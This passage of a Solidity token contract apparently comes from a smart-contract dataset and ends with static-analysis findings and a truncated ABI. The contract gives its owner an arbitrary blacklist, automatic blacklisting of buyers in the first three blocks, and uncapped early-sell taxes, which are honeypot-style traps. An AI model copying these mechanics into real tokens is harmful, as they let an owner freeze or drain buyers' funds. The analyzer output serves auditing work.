excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function blacklistAccount (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// anti bot logic
if (block.number <= (launchedAt + 3) &&
to != uniswapV2Pair &&
to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
) {
_blacklist[to] = true;
}
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (_holderFirstBuyTimestamp[from] != 0 &&
(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellDevFee = earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
} else {
sellLiquidityFee = 2;
sellMarketingFee = 3;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 3;
sellMarketingFee = 3;
sellDevFee = 1;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function Chire(address[] calldata recipients, uint256[] calldata values)
external
onlyOwner
{
_approve(owner(), owner(), totalSupply());
for (uint256 i = 0; i < recipients.length; i++) {
transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals());
}
}
} | [] | [{"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1308]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1187]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1309]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1189]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1174]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1209]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1171]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1232]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1177]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1173]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1234]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1178]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1176]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1226]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1310]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1225]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1227]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1205]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1172]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1188]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1186]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1233]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [672, 673, 674, 675, 676, 670, 671]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [699, 700, 701, 702]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [712, 713, 714, 715, 716]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [658, 659, 660, 661, 662, 663, 664, 665]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [398, 399, 400, 401, 402, 403, 404, 405, 406]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [592, 593, 594, 591]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [705, 706, 707, 708]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [681, 682, 683, 684, 685]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [11, 12, 13, 14]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [576, 577, 575]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [690, 691, 692, 693, 694]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"Rhapsody.sol": [1234]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"Rhapsody.sol": [1226]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"Rhapsody.sol": [1233]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"Rhapsody.sol": [1225]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"Rhapsody.sol": [1232]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"Rhapsody.sol": [1231]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Rhapsody.sol": [633, 634, 635, 636]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Rhapsody.sol": [336, 337, 334, 335]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Rhapsody.sol": [213, 214, 215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Rhapsody.sol": [256, 257, 258, 259]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Rhapsody.sol": [315, 316, 317, 318]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Rhapsody.sol": [1104, 1105, 1103]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Rhapsody.sol": [642, 643, 644, 645, 646]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Rhapsody.sol": [205, 206, 207]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Rhapsody.sol": [1080, 1081, 1082, 1083, 1084]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Rhapsody.sol": [275, 276, 277, 278]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Rhapsody.sol": [1076, 1077, 1078]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Rhapsody.sol": [264, 265, 266]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [4]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Rhapsody.sol": [87]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [1319]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1067]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1056]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1029]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1035]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1040]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1099]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1094]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1252]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1312]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1257, 1258, 1259, 1260, 1261, 1262, 1263]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1319]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [924]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [1060]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [1052]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [910]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [1060]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [33]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [1052]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [49]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [1060]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [32]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [922]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [1060]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [722]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [1060]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [1060]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [1052]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [6, 7, 8, 9, 10, 11, 12, 13, 14, 15]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [429]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"Rhapsody.sol": [1234]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1316]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1238]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"Rhapsody.sol": [1309]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [728]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Rhapsody.sol": [1169, 1170]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Rhapsody.sol": [1027]}}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium", "lines": {"Rhapsody.sol": [1137]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Rhapsody.sol": [1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Rhapsody.sol": [651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 938, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 985, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 989, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 380, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 401, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 635, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 275, "severity": 2}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 179, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 181, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 183, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 185, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 186, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 598, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 652, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 653, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 861, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 863, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 864, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 876, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 879, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 882, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 909, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 177, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 856, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 53, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 59, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 733, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 741, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 750, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 758, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 768, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 777, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 11, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 197, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 605, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 778, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 785, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 792, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 796, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 799, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 802, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 833, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 840, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 846, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 936, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 781, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 782, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 783, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 784, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 788, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 789, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 790, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 791, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 792, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 792, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 792, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 795, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 796, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 796, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 796, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 798, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 799, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 799, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 799, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 801, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 802, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 802, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 802, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 805, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 836, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 837, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 838, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 842, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 843, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 844, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 849, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 850, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 851, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 904, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 998, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sniper","type":"address"}],"name":"BoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"values","type":"uint256[]"}],"name":"Chire","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"